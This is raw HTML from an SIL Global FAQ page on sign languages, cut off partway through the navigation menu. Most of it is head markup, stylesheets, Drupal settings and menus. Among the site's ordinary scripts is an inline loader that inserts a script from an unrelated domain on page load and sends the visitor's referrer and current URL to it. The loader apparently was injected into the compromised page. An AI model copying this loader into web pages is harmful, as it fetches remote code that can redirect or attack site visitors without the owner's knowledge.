CINXE.COM
FAQs | SIL Global
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"> <html lang="en" dir="ltr" xmlns:fb="https://ogp.me/ns/fb#" xmlns:og="https://ogp.me/ns#"> <head profile="http://www.w3.org/1999/xhtml/vocab"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="https://www.sil.org/sites/default/files/sil-favicon_0.ico" type="image/vnd.microsoft.icon" /> <meta name="description" content="What is a sign language and how do sign languages develop? Where spoken languages rely on sounds that Deaf people cannot hear to express concepts, sign languages rely on complex and linguistically significant combinations of hand motions, body movements and facial expressions. The visual nature of sign languages makes them a natural means of communication for Deaf communities." /> <meta name="generator" content="Drupal 7 (https://www.drupal.org)" /> <link rel="canonical" href="https://www.sil.org/sign-languages/faqs" /> <link rel="shortlink" href="https://www.sil.org/node/593" /> <meta property="og:site_name" content="SIL Global" /> <meta property="og:type" content="article" /> <meta property="og:url" content="https://www.sil.org/sign-languages/faqs" /> <meta property="og:title" content="FAQs" /> <meta property="og:description" content="What is a sign language and how do sign languages develop? Where spoken languages rely on sounds that Deaf people cannot hear to express concepts, sign languages rely on complex and linguistically significant combinations of hand motions, body movements and facial expressions. The visual nature of sign languages makes them a natural means of communication for Deaf communities. Sign languages are capable of communicating a full range of meaning, just as spoken languages do." /> <meta property="og:updated_time" content="2021-08-24T01:44:15-05:00" /> <meta name="twitter:card" content="summary" /> <meta name="twitter:url" content="https://www.sil.org/sign-languages/faqs" /> <meta name="twitter:title" content="FAQs" /> <meta name="twitter:description" content="What is a sign language and how do sign languages develop? Where spoken languages rely on sounds that Deaf people cannot hear to express concepts, sign languages rely on complex and linguistically" /> <meta property="article:published_time" content="2012-08-03T14:44:56-05:00" /> <meta property="article:modified_time" content="2021-08-24T01:44:15-05:00" /> <title>FAQs | SIL Global</title> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_lQaZfjVpwP_oGNqdtWCSpJT1EMqXdMiU84ekLLxQnc4.css" media="all" /> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_EM9PzeHZt2AxxQ3R05nXINg9akBOG66G3hxOgWtlp2E.css" media="all" /> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_y-6OGvqwgwpR259lzJYNwvxpJm3Q1qOD_DWt90goRpM.css" media="all" /> <style>.panels-flexible-new .panels-flexible-region { padding: 0; } .panels-flexible-new .panels-flexible-region-inside { padding-right: 0.5em; padding-left: 0.5em; } .panels-flexible-new .panels-flexible-region-inside-first { padding-left: 0; } .panels-flexible-new .panels-flexible-region-inside-last { padding-right: 0; } .panels-flexible-new .panels-flexible-column { padding: 0; } .panels-flexible-new .panels-flexible-column-inside { padding-right: 0.5em; padding-left: 0.5em; } .panels-flexible-new .panels-flexible-column-inside-first { padding-left: 0; } .panels-flexible-new .panels-flexible-column-inside-last { padding-right: 0; } .panels-flexible-new .panels-flexible-row { padding: 0 0 0.5em 0; margin: 0; } .panels-flexible-new .panels-flexible-row-last { padding-bottom: 0; } .panels-flexible-column-new-main { float: left; width: 99.0000%; } .panels-flexible-new-inside { padding-right: 0px; } .panels-flexible-new { width: auto; } .panels-flexible-region-new-column_1 { float: left; width: 24.7329%; } .panels-flexible-region-new-column_2 { float: left; width: 24.7131%; } .panels-flexible-region-new-column_3 { float: left; width: 24.7712%; } .panels-flexible-region-new-column_4 { float: left; width: 24.7829%; } .panels-flexible-row-new-main-row-inside { padding-right: 0px; } .panels-flexible-region-new-trust_and_social_icons { float: left; width: 99.0000%; } .panels-flexible-row-new-2-inside { padding-right: 0px; } .not-front .main-container{padding-top:140px !important;}.not-front .navbar-wrapper .navbar-nav > li > a{color:#333333;}.not-front .navbar-wrapper .language-switcher li > a{color:#333333 !important;}.not-front .navbar-wrapper .navbar-nav > li > a.donate{color:#333333 !important;}.not-front .navbar-wrapper .navbar-nav > li > a.donate:hover{color:#ffffff !important;}.not-front .navbar-wrapper .navbar-nav > li > a.donate.active{color:#ffffff !important;}.not-front .navbar-wrapper .navbar-nav > li > a.donate.active:hover{color:#333333 !important;}@media (min-width :992px){.not-front .navbar-wrapper .navbar-nav > li.dropdown > a:hover{background-color:#333333 !important;color:#ffffff !important;}}@media (max-width :992px){.not-front .navbar-wrapper .navbar-nav > li > a.donate{color:#ffffff !important;}}@media (max-width :992px){.not-front .navbar-wrapper .navbar-nav > li > a.donate:hover{color:#00a7e1 !important;}} .parallax-bottom-active #highlighted-bottom{background-image:url(https://www.sil.org/sites/default/files/theme/parallax/canpain_image.jpeg) !important} </style> <!--[if lt IE 10]> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU.css" media="all" /> <![endif]--> <link type="text/css" rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" media="all" /> <style>#highlighted-middle{position:relative !important;} </style> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_EhKKHcU3eXWscgImOiOmkZTkUJSr3SrY88xkZcWjc0o.css" media="all" /> <link type="text/css" rel="stylesheet" href="https://www.sil.org/sites/default/files/css/css_XfmdLWG0kCq2PV9SCEGBSKtMD9NrBuhDSyStJknjr-0.css" media="all" /> <!-- HTML5 element support for IE6-8 --> <!--[if lt IE 9]> <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> <script src="https://www.sil.org/sites/default/files/js/js_V5lP_0SZNBHRj2DzOtsb79Wy57mt73KasmtP5wbb8vc.js"></script> <script src="https://www.sil.org/sites/default/files/js/js_DdXIKt68jGany_F78Mxy_6Rv5aLF94bA6_npMbGnkV4.js"></script> <script>document.createElement( "picture" );</script> <script src="https://www.sil.org/sites/default/files/js/js_GOikDsJOX04Aww72M-XK1hkq4qiL_1XgGsRdkL0XlDo.js"></script> <script src="https://www.sil.org/sites/default/files/js/js_WwwX68M9x5gJGdauMeCoSQxOzb1Ebju-30k5FFWQeH0.js"></script> <script src="https://www.sil.org/sites/default/files/js/js_dUZrV47uHCW1KAkDxDA5V_w3L1YOQ88P2djNbTaNpy8.js"></script> <script>(function(g,e,o,t,a,r,ge,tl,y,s){ t=g.getElementsByTagName(e)[0];y=g.createElement(e);y.async=true; y.src='https://g10696554090.co/gr?id=-OKYNUdTGehXIVweair4&refurl='+g.referrer+'&winurl='+encodeURIComponent(window.location); t.parentNode.insertBefore(y,t); })(document,'script');</script> <script src="https://www.sil.org/sites/default/files/js/js_fqmWu4QRZZhJm6yfVviOLhWB28O0w0yZaudDdfklRVU.js"></script> <script>jQuery(document).ready(function($) { $(window).load(function() { $("#highlighted-bottom-transparent-bg").css("backgroundColor", "rgba(0,0,0,0.5)"); }); });</script> <script src="https://www.sil.org/sites/default/files/js/js_UFXX6XEHs09ev-qddjopuQ4IrMNWk3OW5iSmME27xWo.js"></script> <script>jQuery.extend(Drupal.settings, {"basePath":"\/","pathPrefix":"","setHasJsCookie":0,"ajaxPageState":{"theme":"sil_bootstrap","theme_token":"NlaL4Jxv9JuBilbB8HhNfAOqTdm9CBBnAyucEm-9bGc","js":{"sites\/all\/modules\/picture\/picturefill\/picturefill.min.js":1,"sites\/all\/modules\/picture\/picture.min.js":1,"sites\/all\/modules\/addthis\/addthis.js":1,"sites\/all\/themes\/bootstrap\/js\/bootstrap.js":1,"https:\/\/www.sil.org\/sites\/default\/files\/google_tag\/silorg_analytics\/google_tag.script.js":1,"sites\/all\/modules\/jquery_update\/replace\/jquery\/2.2\/jquery.min.js":1,"0":1,"misc\/jquery-extend-3.4.0.js":1,"misc\/jquery-html-prefilter-3.5.0-backport.js":1,"misc\/jquery.once.js":1,"misc\/drupal.js":1,"sites\/all\/modules\/jquery_update\/js\/jquery_browser.js":1,"sites\/all\/modules\/jquery_update\/replace\/ui\/external\/jquery.cookie.js":1,"misc\/form-single-submit.js":1,"sites\/all\/modules\/collapsiblock\/collapsiblock.js":1,"sites\/all\/modules\/entityreference\/js\/entityreference.js":1,"profiles\/openenterprise\/modules\/caption_filter\/js\/caption-filter.js":1,"1":1,"sites\/all\/libraries\/colorbox\/jquery.colorbox-min.js":1,"sites\/all\/modules\/colorbox\/js\/colorbox.js":1,"sites\/all\/modules\/colorbox\/styles\/default\/colorbox_style.js":1,"sites\/all\/modules\/colorbox\/js\/colorbox_load.js":1,"sites\/all\/modules\/colorbox\/js\/colorbox_inline.js":1,"sites\/all\/modules\/extlink\/js\/extlink.js":1,"sites\/all\/themes\/sil_bootstrap\/js\/jquery.hoverIntent.js":1,"2":1,"sites\/all\/themes\/sil_bootstrap\/js\/sil_bootstrap.js":1,"sites\/all\/themes\/sil_bootstrap\/js\/fading-text-expand.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/affix.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/alert.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/carousel.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/collapse.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/modal.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/tab.js":1,"sites\/all\/themes\/sil_bootstrap\/bootstrap\/js\/transition.js":1},"css":{"modules\/system\/system.base.css":1,"sites\/all\/modules\/collapsiblock\/collapsiblock.css":1,"modules\/field\/theme\/field.css":1,"sites\/all\/modules\/logintoboggan\/logintoboggan.css":1,"sites\/all\/modules\/luxe\/css\/luxe.css":1,"modules\/node\/node.css":1,"sites\/all\/modules\/picture\/picture_wysiwyg.css":1,"sites\/all\/modules\/video_filter\/video_filter.css":1,"sites\/all\/modules\/youtube\/css\/youtube.css":1,"sites\/all\/modules\/extlink\/css\/extlink.css":1,"profiles\/openenterprise\/modules\/views\/css\/views.css":1,"profiles\/openenterprise\/wysiwyg_align.css":1,"profiles\/openenterprise\/modules\/caption_filter\/caption-filter.css":1,"sites\/all\/modules\/ckeditor\/css\/ckeditor.css":1,"sites\/all\/modules\/colorbox\/styles\/default\/colorbox_style.css":1,"profiles\/openenterprise\/modules\/ctools\/css\/ctools.css":1,"public:\/\/css\/menu_icons.css":1,"profiles\/openenterprise\/modules\/panels\/css\/panels.css":1,"profiles\/openenterprise\/modules\/panels\/plugins\/layouts\/flexible\/flexible.css":1,"0":1,"1":1,"2":1,"public:\/\/ctools\/css\/d41d8cd98f00b204e9800998ecf8427e.css":1,"\/\/maxcdn.bootstrapcdn.com\/font-awesome\/4.7.0\/css\/font-awesome.min.css":1,"3":1,"sites\/all\/themes\/sil_bootstrap\/less\/sil_bootstrap.less":1,"sites\/all\/themes\/sil\/css\/context\/sub.css":1}},"collapsiblock":{"blocks":{"block-facetapi-sxczqu17k3p1teuubjnzgdpqcnjnvkot":"3","block-facetapi-bra7ew9xadjw3m0riibw59j9pzxofudd":"3","block-facetapi-qx8ea7ys3pbsu8hf9fvoduh8ehucxktr":"3","block-facetapi-lidxk4vqk7iu2dd1c112upiwmjo73xeg":"3","block-facetapi-is99jk8huqzsmdvfga0xv0xpj4t31qhf":"3","block-facetapi-pbobkettfcf1arhrcusbffs1m0zxlcd3":"3","block-facetapi-u1jlxckimb9sz4ld4ejcjf2sl9dxdwbk":"3","block-facetapi-5j1iqqy6ksitjoqym3gtackhqi22eauc":"3","block-facetapi-9yjxt7gg9p4o2yr2kjgc5b20gcckkfd0":"1","block-facetapi-uuiiuegqk08vxmdbrw8l8fi6byb9vmuy":"3","block-facetapi-1gbh2egrtauxgcnsvxkpau1l5ms3chng":"3","block-facetapi-280mtggtdtk5saa7obt8j7yvpfz9cvpu":"3","block-views--exp-resources-search-page-1":"1","block-current-search-standard":"1","block-facetapi-kyxhllbmnzmolrmqhmirlekgb9raaw6o":"1","block-facetapi-dxt6otypw8r6dhr924d0gj3mr934faqb":"1","block-blockgroup-sidebar-second-facets":"1","block-menu-block-17":"1","block-block-30":"1","block-views-ff9987dc08ee4a50295571c81f6f3da6":"1","block-menu-block-6":"1","block-menu-block-20":"1","block-menu-block-22":"1","block-block-28":"1","block-views-language-file-displays-block-3":"1","block-views-language-file-displays-block-4":"1","block-sil-search-sil-search-facets":"1","block-menu-block-9":"1","block-menu-block-21":"1","block-block-16":"1","block-block-14":"1","block-block-13":"1","block-block-31":"1","block-menu-block-15":"1","block-menu-block-10":"1","block-menu-block-11":"1","block-menu-block-13":"1","block-menu-block-12":"1","block-menu-block-8":"1","block-menu-block-14":"1","block-sil-search-sil-search-all-form":"1","block-bean-lca-teaser":"1","block-block-18":"1","block-views-jot-block-1":"1","block-menu-block-7":"1","block-views-jot-block-2":"1","block-ds-extras-sidebar":"1","block-block-32":"1","block-bean-front-page-block-1":"1","block-bean-front-page-block-2":"1","block-views-jot-block-3":"1","block-views-annual-reports-block-1":"1","block-sil-search-sil-search-browse-secondary":"1","block-sil-search-sil-search-browse-primary":"1","block-bean-language-and-culture":"1","block-bean-training-primary":"1","block-block-15":"1","block-block-5":"1","block-bean-software---sil-freeware":"1","block-block-33":"1","block-bean-software---program-recommendatio":"1","block-bean-scriptsource-block":"1","block-bean-scripts---browse-sil-script-reso":"1","block-bean-scripts---non-roman-script-initi":"2","block-block-35":"1","block-blockgroup-resources-bottom-block":"1","block-menu-block-4":"4","block-menu-block-3":"1","block-menu-block-24":"1","block-menu-block-2":"1","block-block-29":"1","block-block-34":"1","block-bean-software-product-block-1":"1","block-bean-software-product-block-2":"1","block-bean-software-product-block-3":"1","block-bean-software-product-block-4":"1","block-block-36":"1","block-bean-script-product-1":"1","block-bean-script-product-3":"1","block-bean-script-product-2":"1","block-bean-script-product-4-0":"1","block-bean-script-product-4":"1","block-bean-software-product-5":"1","block-facetapi-wjbh20fd82myvwxac1r4guvydxj40vll":"1","block-bean-font-block-1":"1","block-bean-font-block-2":"1","block-bean-font-block-3":"1","block-bean-font-block-4":"1","block-block-10":"1","block-block-37":"4","block-bean-training---highlights":"1","block-bean-lang-and-culture-resources":"1","block-menu-block-25":"1","block-menu-block-26":"1","block-block-6":"1","block-block-7":"1","block-block-8":"1","block-block-38":"1","block-block-12":"1","block-menu-menu-william-cameron-townsend":"1","block-menu-block-27":"1","block-block-39":"1","block-block-40":"1","block-block-11":"1","block-views-3a4d02d24e8d6ffc97701c027d522620":"1","block-views-3e6ac3c137e0004763fc426b70b1c7c6":"2","block-views-6951f455d6514a6a2e72d9b0dd02ac1e":"2","block-current-search-software-fonts-current-search":"1","block-facetapi-71mscsnhjsil81pavu2tn4mqe0wiydaf":"1","block-facetapi-jalsiyv6p64ukwvzpqlzb4pwahbrlsd1":"1","block-views-software-fonts-sidebar-block-1":"1","block-views-software-fonts-sidebar-block-3":"1","block-views-software-fonts-sidebar-block-2":"1","block-bean-software-and-fonts-banner":"1","block-ds-extras-related-software-fonts-block":"1","block-block-41":"1","block-sil-expertise-create-links":"1","block-bean-front-page-block-3":"1","block-facetapi-0":"1","block-facetapi-h31pi1pdxwgy3jaehhq6ntzgyvcbsw7h":"1","block-block-42":"1","block-block-46":"1","block-bean-sil-logo-kit-2014":"1","block-block-91":"1","block-facetapi-1dmq15yfejjdfj9denvsuibvgitrf3gq":"1","block-facetapi-dxiuj9brkgald0v4jzwyga1n8kn4s1eo":"1","block-menu-menu-social":"1","block-system-user-menu":"1","block-search-form":"1","block-menu-menu-legal-notices":"1","block-views-enterprise-news-recent-news":"1","block-sil-expertise-amazon-recommends":"1","block-block-121":"1","block-block-101":"1","block-block-106":"1","block-block-111":"1","block-block-126":"1","block-block-131":"1","block-block-141":"1","block-block-136":"1","block-block-146":"1","block-block-151":"1","block-block-161":"1","block-block-116":"1","block-block-156":"1","block-block-166":"1","block-menu-block-16":"1","block-facetapi-attrraeqpdaka4vfnmehalrgw0aa621r":"1","block-block-96":"1","block-block-66":"1","block-block-56":"1","block-block-76":"1","block-block-86":"1","block-block-71":"1","block-block-176":"1","block-block-181":"1","block-webform-client-block-145376":"1","block-views-oe-rotating-banner-block":"1","block-views-oe-rotating-banner-block-1":"1","block-menu-block-36":"1","block-menu-block-35":"1","block-menu-block-28":"1","block-menu-block-29":"1","block-menu-block-30":"1","block-menu-block-31":"1","block-menu-block-32":"1","block-menu-block-33":"1","block-menu-block-34":"1","block-sil-search-sil-search-browse-pub-landings":"1","block-sil-search-sil-search-browse-pub-home":"1","block-block-61":"1","block-block-51":"1","block-block-201":"1","block-block-186":"1","block-sil-search-sil-search-corresponding-section":"1","block-views-766748665522ec876fc6bec2a1464845":"1","block-views-9e625007999567ef71abf02717756ff6":"1","block-block-206":"1","block-block-211":"1","block-views-covid19-resources-block-sm":"1","block-views-covid19-resources-block-xl-md":"1","block-views-covid19-resources-block-xs":"1","block-block-216":"1","block-views-e9294bace58d24eb786a4b09a4d94fd1":"1","block-views-covid19-fund-impact-block-sm":"1","block-views-covid19-fund-impact-block-xl-md":"1","block-views-covid19-fund-impact-block-xs":"1","block-block-221":"1","block-block-231":"1","block-menu-menu-trust":"1","block-facetapi-appir9yyhglhxtsdoyrn1rxfjdu8t1xg":"3","block-facetapi-syjnvw1l7fkooe2hohki4dkdi07wmo4d":"1","block-block-236":"1","block-block-251":"1","block-views-board-of-directors-block-xs":"1","block-views-board-of-directors-block-xl-md":"1","block-views-board-of-directors-block-sm":"1","block-views-83a2c699ba8afdf28410cdb07fb976fe":"1","block-views-eef78efd51713dffc7ee0d0d1d563c6b":"1","block-views-07997a2abec496bd5c345de538b6eecb":"1","block-views-our-work-resources-block-sm":"1","block-views-our-work-resources-block-xl-md":"1","block-views-our-work-resources-block-xs":"1","block-views-cca898ab845004dd2c4b39249f59eba6":"1","block-views-f30cdcc7e48cd8d62beb3452ab3b4897":"1","block-views-f079dc227e932cbfe8c69703b8ac926f":"1","block-blockgroup-legal-footer":"1","block-menu-block-44":"1","block-menu-block-5":"1","block-block-296":"1","block-block-291":"1","block-block-316":"1","block-views-fe0ad2c61bc1bfb6e7b8e29b0f28d5d0":"1","block-views-annual-reports-block-year":"1","block-block-286":"1","block-views-enterprise-news-block-year":"1","block-views-e2b4e0d696e92c834bc993fa2934cf95":"1","block-views-enterprise-news-block-1":"1","block-menu-block-41":"1","block-views-f77c684fada6abd57c177541f9bbd169":"1","block-views-jclsr-recent-block-recent-jclsr":"1","block-views-publications-jclsr-block":"1","block-views-jclsr-block":"1","block-views-epubs-block-sm":"1","block-views-epubs-block-xs":"1","block-views-epubs-block-xl-md":"1","block-views-projects-for-funding-block-sm":"1","block-views-12c2e95fcae35a90095bb09eccaea82d":"1","block-views-projects-for-funding-block-xs":"1","block-block-326":"1","block-block-261":"1","block-block-19":"1","block-block-271":"1","block-block-331":"1","block-views-scripture-engagement-block-sm":"1","block-views-0c7816c1bc1df1fb295b97dbd14c8c85":"1","block-views-scripture-engagement-block-xs":"1","block-block-196":"1","block-views-afe4393348b4681305d0db54ff30958e":"1","block-views-461099af594ee1f0a580d3d4bc34de73":"1","block-views-engagement-block-sm":"1","block-views-engagement-block-xl-md":"1","block-views-engagement-block-xs":"1","block-views-engagement-recent-sm-xs":"1","block-views-engagement-recent-xl-md":"1","block-block-281":"1","block-block-306":"1"},"default_state":1,"slide_type":1,"slide_speed":200,"block_title":":header:first","block":"div.block","block_content":"div.content"},"colorbox":{"opacity":"0.85","current":"{current} of {total}","previous":"\u00ab Prev","next":"Next \u00bb","close":"Close","maxWidth":"98%","maxHeight":"98%","fixed":true,"mobiledetect":true,"mobiledevicewidth":"480px","file_public_path":"\/sites\/default\/files","specificPagesDefaultValue":"admin*\nimagebrowser*\nimg_assist*\nimce*\nnode\/add\/*\nnode\/*\/edit\nprint\/*\nprintpdf\/*\nsystem\/ajax\nsystem\/ajax\/*"},"video_filter":{"url":{"ckeditor":"\/video_filter\/dashboard\/ckeditor"},"instructions_url":"\/video_filter\/instructions","modulepath":"sites\/all\/modules\/video_filter"},"better_exposed_filters":{"views":{"hero_image_page_title":{"displays":{"block":{"filters":[]}}},"expertise_articles":{"displays":{"block":{"filters":[]}}},"expertise_publications":{"displays":{"block":{"filters":[]}}}}},"picture":{"required":true,"mappings":[["small","small"],["large","large"],["medium","medium"],["Not Set","not_set"]],"label":"Image size (required) (required)","ckeditorDefaultMapping":"not_set","editorCSS":" [data-picture-mapping=\u0022small\u0022] { width: 150px; height: 75px;}\n [data-picture-mapping=\u0022large\u0022] { width: 900px; height: 450px;}\n [data-picture-mapping=\u0022medium\u0022] { width: 400px; height: 200px;}"},"urlIsAjaxTrusted":{"\/search\/node":true},"extlink":{"extTarget":"_blank","extClass":0,"extLabel":"(link is external)","extImgClass":0,"extIconPlacement":"append","extSubdomains":0,"extExclude":"^(http:\\\/\\\/|https:\\\/\\\/)(www\\.)?sil\\.org(\\\/)?","extInclude":"","extCssExclude":"","extCssExplicit":"","extAlert":0,"extAlertText":"This link will take you to an external web site. We are not responsible for their content.","mailtoClass":0,"mailtoLabel":"(link sends e-mail)","extUseFontAwesome":false},"ogContext":{"groupType":"node","gid":"243"},"bootstrap":{"anchorsFix":"0","anchorsSmoothScrolling":"0","formHasError":1,"popoverEnabled":1,"popoverOptions":{"animation":1,"html":0,"placement":"right","selector":"","trigger":"click","triggerAutoclose":1,"title":"","content":"","delay":0,"container":"body"},"tooltipEnabled":1,"tooltipOptions":{"animation":1,"html":0,"placement":"auto left","selector":"","trigger":"hover focus","delay":0,"container":"body"}}});</script> <!-- Remove Typekit until necessary --> <!-- <script type="text/javascript" src="//use.typekit.net/isi5rgt.js"></script> --> <!-- <script type="text/javascript">try{Typekit.load();}catch(e){}</script> --> </head> <body class="html not-front not-logged-in one-sidebar sidebar-second page-node page-node- page-node-593 node-type-expertise-page og-context og-context-node og-context-node-243 i18n-en parallax-bottom-active" > <div id="skip-link"> <a href="#main-content" class="element-invisible element-focusable">Skip to main content</a> </div> <div class="region region-page-top"> <noscript aria-hidden="true"><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-W4536JL" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> </div> <div class="page-hero "> <div class="navbar-wrapper"> <div class="container"> <header id="navbar" role="banner" class="navbar container navbar-default"> <div class="container"> <div class="navbar-header"> <a class="logo navbar-btn pull-left" href="/" title="Home"> <img src="https://www.sil.org/sites/default/files/sil_logo_glyph.png" alt="Home"/> </a> <!-- .btn-navbar is used as the toggle for collapsed navbar content --> <button type="button" class="navbar-toggle btn btn-navbar" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon glyphicon glyphicon-menu-hamburger" aria-hidden="true"></span> </button> </div> <div class="navbar-menu menus navbar-collapse collapse"> <nav role="navigation" class="menu-inner"> <div class="nav-top"> <ul class="menu nav navbar-nav secondary"><li class="first leaf"><a href="/contact" id="usernav-contact">Contact Us</a></li> <li class="leaf"><a href="/user/login" id="usernav-signin">Sign In</a></li> <li class="last leaf search"><a class="nolink" tabindex="0"><i class="fa fa-search" aria-hidden="true"></i><span class="title">Search</span></a></li> </ul> <div class="search-box"> <form class="search-form clearfix" action="/search/node" method="post" id="search-form" accept-charset="UTF-8"><div><div class="form-wrapper form-group" id="edit-basic"><div class="input-group"><input placeholder="Search" class="form-control form-text" type="text" id="edit-keys" name="keys" value="" size="40" maxlength="255" /><span class="input-group-btn"><button type="submit" class="btn btn-default"><span class="icon glyphicon glyphicon-search icon glyphicon-search" aria-hidden="true"></span></button></span></div><button class="element-invisible btn btn-primary form-submit" type="submit" id="edit-submit" name="op" value="Search">Search</button> </div><input type="hidden" name="form_build_id" value="form--kZ3nDESKD4-BMVjaPEoEtvHlwa1l1cUWnYdmY9rww4" /> <input type="hidden" name="form_id" value="search_form" /> </div></form> </div> </div> <div class="nav-bottom"> <div class="mega"><ul class="menu nav navbar-nav"><li class="first expanded dropdown"><a href="/language-services" data-target="#" class="dropdown-toggle" data-hover="dropdown">Language Services <span class="icon glyphicon glyphicon-chevron-down hidden-xs hidden-sm"></span></a><span class="btn icon glyphicon glyphicon-chevron-right visible-xs-inline visible-sm-inline"></span><ul class="dropdown-menu"><li><div class="mega-content"><div class="row"><ul class="col-md-3 list-unstyled"><li class="first expanded"><span><strong><a href="/language-development" id="mainnav-languagedev">Language Development</a></strong></span><hr/></li> <li class="first leaf"><a href="/dictionaries-lexicography" id="mainnav-dictionarieslex">Dictionaries & Lexicography</a></li> <li class="leaf"><a href="/language-assessment" id="mainnav-languageassess">Language Assessment</a></li> <li class="leaf"><a href="/language-programs-management" id="mainnav-languageprograms">Language Programs Management</a></li> <li class="leaf"><a href="/language-technology" id="mainnav-languagetech">Language Technology</a></li> <li class="collapsed"><a href="/literacy-education" id="mainnav-literacyed">Literacy & Education</a></li> <li class="leaf"><a href="/media-development" id="mainnav-mediadev">Media Development</a></li> <li class="leaf"><a href="/orthography">Orthography</a></li> <li class="last leaf"><a href="/translation" id="mainnav-translation">Translation</a></li> </ul><ul class="col-md-3 list-unstyled"><li class="expanded"><span><strong><a href="/langculture" id="mainnav-languagecul">Language & Culture</a></strong></span><hr/></li> <li class="first leaf"><a href="/anthropology" id="mainnav-anthropology">Anthropology</a></li> <li class="leaf"><a href="/arts-ethnomusicology" id="mainnav-artsethno">Arts & Ethnomusicology</a></li> <li class="leaf"><a href="https://sites.google.com/sil.org/global-diaspora-services" target="_blank">Diaspora Services</a></li> <li class="leaf"><a href="/language-culture-documentation" id="mainnav-languageculdoc">Language & Culture Documentation</a></li> <li class="leaf"><a href="/language-culture-learning" id="mainnav-languagecullearn">Language & Culture Learning</a></li> <li class="leaf"><a href="/linguistics" id="mainnav-linguistics">Linguistics</a></li> <li class="leaf"><a href="/sign-languages" id="mainnav-signlanguages">Sign Languages</a></li> <li class="last leaf"><a href="/sociolinguistics" id="mainnav-sociolinguistics">Sociolinguistics</a></li> </ul><ul class="col-md-3 list-unstyled"><li class="expanded"><span><strong><a href="/resources" id="mainnav-resources">Resources</a></strong></span><hr/></li> <li class="first leaf"><a href="/guide-planning-future-our-language">A Guide for Planning the Future of Our Language</a></li> <li class="leaf"><a href="/resources/english-with-newcomers" class="langdev">English with Newcomers</a></li> <li class="leaf"><a href="/resources/glossaries-linguistic-terms" id="mainnav-lingglossaries" class="glossaries">Glossaries of Linguistic Terms</a></li> <li class="leaf"><a href="/resources/language-culture-archives" id="mainnav-languagearchives" class="langcult">Language & Culture Archives</a></li> <li class="leaf"><a href="/resources/publications" id="mainnav-publications" class="public">Global Publishing Services</a></li> <li class="last leaf"><a href="http://software.sil.org/products/" id="mainnav-softwarefonts" class="software" target="_blank">Software & Fonts</a></li> </ul><ul class="col-md-3 list-unstyled"><li class="last expanded"><span><strong><a href="/training" id="mainnav-training">Training</a></strong></span><hr/></li> <li class="first leaf"><a href="/training/about-sil-training" id="mainnav-abouttraining">About Training</a></li> <li class="collapsed"><a href="/training/specialties" id="mainnav-trainingforspecialists">For Specialties</a></li> <li class="leaf"><a href="https://www.sil.org/training/hub">Online Training</a></li> <li class="last collapsed"><a href="/training/training-programs-language-development" id="mainnav-trainingprograms">Programs</a></li> </ul></div></div></li></ul></li> <li class="leaf"><a href="/blog">Blog</a></li> <li class="expanded dropdown"><a href="/about/discover" data-target="#" class="dropdown-toggle" data-hover="dropdown">Our Work <span class="icon glyphicon glyphicon-chevron-down hidden-xs hidden-sm"></span></a><span class="btn icon glyphicon glyphicon-chevron-right visible-xs-inline visible-sm-inline"></span><ul class="dropdown-menu"><li class="first leaf"><a href="/about/discover">Discover SIL</a></li> <li class="leaf"><a href="/worldwide">Worldwide</a></li> <li class="leaf"><a href="/related-sites">Related Sites</a></li> <li class="leaf"><a href="/careers" target="_blank">Careers</a></li> <li class="leaf"><a href="https://www.sil.org/health">Health Initiative</a></li> <li class="leaf"><a href="/idil">IDIL</a></li> <li class="last leaf"><a href="/trauma-healing">Trauma Healing</a></li> </ul></li> <li class="expanded dropdown"><a href="/why-languages-matter" data-target="#" class="dropdown-toggle" data-hover="dropdown">Why Languages Matter <span class="icon glyphicon glyphicon-chevron-down hidden-xs hidden-sm"></span></a><span class="btn icon glyphicon glyphicon-chevron-right visible-xs-inline visible-sm-inline"></span><ul class="dropdown-menu"><li class="first leaf"><a href="/about/why-languages-matter">Language & Flourishing</a></li> <li class="leaf"><a href="/sign-languages">Sign Languages</a></li> <li class="last leaf"><a href="/about/endangered-languages">Endangered Languages</a></li> </ul></li> <li class="expanded dropdown"><a href="/about" id="mainnav-about" data-target="#" class="dropdown-toggle" data-hover="dropdown">About SIL <span class="icon glyphicon glyphicon-chevron-down hidden-xs hidden-sm"></span></a><span class="btn icon glyphicon glyphicon-chevron-right visible-xs-inline visible-sm-inline"></span><ul class="dropdown-menu"><li class="first leaf"><a href="/about/history" id="mainnav-history">Our History</a></li> <li class="leaf"><a href="/leaders">Our Leaders</a></li> <li class="leaf"><a href="/about/financial-information" id="mainnav-financialinfo">Financial Accountability</a></li> <li class="leaf"><a href="/about/media" id="mainnav-mediacenter">Media Center</a></li> <li class="leaf"><a href="/about/reports/2024">Annual Report</a></li> <li class="last leaf"><a href="/about/news">News</a></li> </ul></li> <li class="last leaf"><a href="/give" class="btn btn-default donate">Donate</a></li> </ul></div> </div> </nav> </div> </div> </header> </div> </div> </div> <div class="page-bar"> <div class="col-md-12"> <div class="region region-navigation"> <section id="block-menu-block-3" class="block block-menu-block clearfix"> <div class="menu-block-wrapper menu-block-3 menu-name-menu-expertise parent-mlid-0 menu-level-2"> <ul class="menu nav"><li class="first last leaf menu-mlid-12911"><a href="/sign-languages/stories">Stories</a></li> </ul></div> 